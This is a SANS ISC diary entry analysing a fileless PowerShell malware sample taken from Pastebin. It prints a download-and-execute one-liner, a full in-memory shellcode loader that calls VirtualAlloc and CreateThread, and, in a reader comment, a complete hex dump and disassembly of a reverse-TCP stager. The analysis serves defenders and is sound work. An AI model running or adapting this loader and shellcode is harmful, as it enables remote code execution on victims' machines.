Threat Level: green Handler on Duty: Brad Duncan

SANS ISC: Fileless Malicious PowerShell Sample - SANS Internet Storm Center SANS ISC InfoSec Forums

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
Fileless Malicious PowerShell Sample remains one of my favourite place for hunting. I’m searching for juicy content and report finding in a Splunk dashboard:

Yesterday, I found an interesting pastie[1] with a simple Windows CMD script:

powErShEll.ExE -nop -w hIddEn -c $J=nEw-objEct nEt.wEbclIEnt;$J.proxy=[NEt.WEbREquESt]::GEtSyStEmWEbProxy();$J.Proxy.CrEdEntIalS=[NEt.CrEdEntIalCachE]::DEfaultCrEdEntIalS;
IEX $J.downloadStrIng('hxxps://pastebin[.]com/raw/CysKFzNM';);
goto Start

This first stage performs nothing else than downloading the content of another pastie (using the system-defined proxy and credentials if any). While executed, the script decodes another piece of PowerShell which is Base64 encoded and gzip’d (SHA256: eef5ec743ebcaf4a399562b0de15eeaf96c242734ec6f74066a8e9a09cbc70c5). Here is the content of the string:

function mu {
    Param ($ra, $uOXXl)
    $qi1Z = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') })
    return $qi1Z.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices
.HandleRef((New-Object IntPtr), ($qi1Z.GetMethod('GetModuleHandle')).Invoke($null, @($ra)))), $uOXXl))

function k9no_ {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $dn,
        [Parameter(Position = 1)] [Type] $xm = [Void]
    $pnE = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType'
, 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $pnE.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $dn).SetImplementationFlags('Runtime, Managed')
    $pnE.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $xm, $dn).SetImplementationFlags('Runtime, Managed')
    return $pnE.CreateType()

[Byte[]]$iJF = [System.Convert]::FromBase64String("/OiCAAAAYInlMcBki1Awi1IMi1IUi3 (...Redacted...) aALZyF//1Ys2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//1QHDKcZ17sM=“)
$b0Z = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((mu kernel32.dll VirtualAlloc), (k9no_ @([IntPtr], [UInt32], [UInt32], [UInt32])
([IntPtr]))).Invoke([IntPtr]::Zero, $iJF.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($iJF, 0, $b0Z, $iJF.length)

$ljfW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((mu kernel32.dll CreateThread), (k9no_ @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32],
[IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$b0Z,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((mu kernel32.dll WaitForSingleObject), (k9no_ @([IntPtr], [Int32]))).Invoke($ljfW,0xffffffff) | Out-Null

This script is very powerful because it uses the .Net API to call Windows API function in memory. To achieve this, it makes use of assemblies. Microsoft defines[2] an assembly as "a collection of types and resources that forms a logical unit of functionality. All types in the .NET Framework must exist in assemblies; the common language runtime does not support types outside of assemblies. Each time you create a Microsoft Windows® Application, Windows Service, Class Library, or other application with Visual Basic .NET, you're building a single assembly. Each assembly is stored as an .exe or .dll file".

The first function mu() uses GetProcAddress() to return the location of the function in memory. Example:

PS C:\Users\xavie> ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')})
.GetType('Microsoft.Win32.UnsafeNativeMethods').GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object
System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($qi1Z.GetMethod('GetModuleHandle')).Invoke($null, @("kernel32.dll")))), "VirtualAlloc"))


Now that we have the address of our system call, the second function k9no_() is used with GetDelegateForFunctionPointer[3] to get a pointer to the function. So, we understand now what does the PowerShell script:

  1. Decode the Base64 encoded payload 
  2. Allocate some memory
  3. Copy the payload in the allocated memory space
  4. Create a new threat
  5. Execute the payload

The payload is the Base64 encoded strings (SHA256: 30cac876f585ffa1912e6132dd68951a44e266d6711dbbd1208b887203f742f3). It contacts a C&C server located in Israel ( on port port 2712. The traffic is just garbage and I was not able to find useful information in the captured traffic.


Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant


335 Posts
ISC Handler
Hex dump: fc e8 82 00 00 00 60 89 e5 31 c0 64 8b 50 30 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f2 52 57 8b 52 10 8b 4a 3c 8b 4c 11 78 e3 48 01 d1 51 8b 59 20 01 d3 8b 49 18 e3 3a 49 8b 34 8b 01 d6 31 ff ac c1 cf 0d 01 c7 38 e0 75 f6 03 7d f8 3b 7d 24 75 e4 58 8b 58 24 01 d3 66 8b 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 5f 5f 5a 8b 12 eb 8d 5d 68 33 32 00 00 68 77 73 32 5f 54 68 4c 77 26 07 ff d5 b8 90 01 00 00 29 c4 54 50 68 29 80 6b 00 ff d5 6a 0a 68 d5 b8 7b 8f 68 02 00 0a 98 89 e6 50 50 50 50 40 50 40 50 68 ea 0f df e0 ff d5 97 6a 10 56 57 68 99 a5 74 61 ff d5 85 c0 74 0c ff 4e 08 75 ec 68 f0 b5 a2 56 ff d5 6a 00 6a 04 56 57 68 02 d9 c8 5f ff d5 8b 36 6a 40 68 00 10 00 00 56 6a 00 68 58 a4 53 e5 ff d5 93 53 6a 00 56 53 57 68 02 d9 c8 5f ff d5 01 c3 29 c6 75 ee c3
0x00000000 fc cld
0x00000001 e882000000 call 0x00000088
0x00000006 60 pushad
0x00000007 89e5 mov ebp,esp
0x00000009 31c0 xor eax,eax
0x0000000b 648b5030 fs: mov edx,dword [eax + 48]
0x0000000f 8b520c mov edx,dword [edx + 12]
0x00000012 8b5214 mov edx,dword [edx + 20]
0x00000015 8b7228 mov esi,dword [edx + 40]
0x00000018 0fb74a26 movzx ecx,word [edx + 38]
0x0000001c 31ff xor edi,edi
0x0000001e ac lodsb
0x0000001f 3c61 cmp al,97
0x00000021 7c02 jl 0x00000025
0x00000023 2c20 sub al,32
0x00000025 c1cf0d ror edi,13
0x00000028 01c7 add edi,eax
0x0000002a e2f2 loop 0x0000001e
0x0000002c 52 push edx
0x0000002d 57 push edi
0x0000002e 8b5210 mov edx,dword [edx + 16]
0x00000031 8b4a3c mov ecx,dword [edx + 60]
0x00000034 8b4c1178 mov ecx,dword [ecx + edx + 120]
0x00000038 e348 jecxz 0x00000082
0x0000003a 01d1 add ecx,edx
0x0000003c 51 push ecx
0x0000003d 8b5920 mov ebx,dword [ecx + 32]
0x00000040 01d3 add ebx,edx
0x00000042 8b4918 mov ecx,dword [ecx + 24]
0x00000045 e33a jecxz 0x00000081
0x00000047 49 dec ecx
0x00000048 8b348b mov esi,dword [ebx + ecx * 4]
0x0000004b 01d6 add esi,edx
0x0000004d 31ff xor edi,edi
0x0000004f ac lodsb
0x00000050 c1cf0d ror edi,13
0x00000053 01c7 add edi,eax
0x00000055 38e0 cmp al,ah
0x00000057 75f6 jnz 0x0000004f
0x00000059 037df8 add edi,dword [ebp - 8]
0x0000005c 3b7d24 cmp edi,dword [ebp + 36]
0x0000005f 75e4 jnz 0x00000045
0x00000061 58 pop eax
0x00000062 8b5824 mov ebx,dword [eax + 36]
0x00000065 01d3 add ebx,edx
0x00000067 668b0c4b mov cx,word [ebx + ecx * 2]
0x0000006b 8b581c mov ebx,dword [eax + 28]
0x0000006e 01d3 add ebx,edx
0x00000070 8b048b mov eax,dword [ebx + ecx * 4]
0x00000073 01d0 add eax,edx
0x00000075 89442424 mov dword [esp + 36],eax
0x00000079 5b pop ebx
0x0000007a 5b pop ebx
0x0000007b 61 popad
0x0000007c 59 pop ecx
0x0000007d 5a pop edx
0x0000007e 51 push ecx
0x0000007f ffe0 jmp eax
0x00000081 5f pop edi
0x00000082 5f pop edi
0x00000083 5a pop edx
0x00000084 8b12 mov edx,dword [edx]
0x00000086 eb8d jmp 0x00000015
0x00000088 5d pop ebp
0x00000089 6833320000 push 0x00003233--> '23'
0x0000008e 687773325f push 0x5f327377--> '_2sw'
0x00000093 54 push esp
0x00000094 684c772607 push 0x0726774c--> '&wL'
0x00000099 ffd5 call ebp --> kernel32.dll!LoadLibraryA
0x0000009b b890010000 mov eax,400
0x000000a0 29c4 sub esp,eax
0x000000a2 54 push esp
0x000000a3 50 push eax
0x000000a4 6829806b00 push 0x006b8029--> 'k)'
0x000000a9 ffd5 call ebp --> ws2_32.dll!WSAStartup
0x000000ab 6a0a push 10
0x000000ad 68d5b87b8f push 0x8f7bb8d5
0x000000b2 6802000a98 push 0x980a0002--> IP
0x000000b7 89e6 mov esi,esp
0x000000b9 50 push eax
0x000000ba 50 push eax
0x000000bb 50 push eax
0x000000bc 50 push eax
0x000000bd 40 inc eax
0x000000be 50 push eax
0x000000bf 40 inc eax
0x000000c0 50 push eax
0x000000c1 68ea0fdfe0 push 0xe0df0fea
0x000000c6 ffd5 call ebp --> ws2_32.dll!WSASocketA
0x000000c8 97 xchg eax,edi
0x000000c9 6a10 push 16
0x000000cb 56 push esi
0x000000cc 57 push edi
0x000000cd 6899a57461 push 0x6174a599--> 'at'
0x000000d2 ffd5 call ebp --> ws2_32.dll!connect
0x000000d4 85c0 test eax,eax
0x000000d6 740c jz 0x000000e4
0x000000d8 ff4e08 dec dword [esi + 8]
0x000000db 75ec jnz 0x000000c9
0x000000dd 68f0b5a256 push 0x56a2b5f0
0x000000e2 ffd5 call ebp --> kernel32.dll!ExitProcess
0x000000e4 6a00 push 0
0x000000e6 6a04 push 4
0x000000e8 56 push esi
0x000000e9 57 push edi
0x000000ea 6802d9c85f push 0x5fc8d902
0x000000ef ffd5 call ebp --> ws2_32.dll!recv
0x000000f1 8b36 mov esi,dword [esi]
0x000000f3 6a40 push 64
0x000000f5 6800100000 push 4096
0x000000fa 56 push esi
0x000000fb 6a00 push 0
0x000000fd 6858a453e5 push 0xe553a458--> 'SX'
0x00000102 ffd5 call ebp --> kernel32.dll!VirtualAlloc
0x00000104 93 xchg eax,ebx
0x00000105 53 push ebx
0x00000106 6a00 push 0
0x00000108 56 push esi
0x00000109 53 push ebx
0x0000010a 57 push edi
0x0000010b 6802d9c85f push 0x5fc8d902
0x00000110 ffd5 call ebp --> ws2_32.dll!recv
0x00000112 01c3 add ebx,eax
0x00000114 29c6 sub esi,eax
0x00000116 75ee jnz 0x00000106
0x00000118 c3 ret

Byte Dump:


Sign Up for Free or Log In to start participating in the conversation!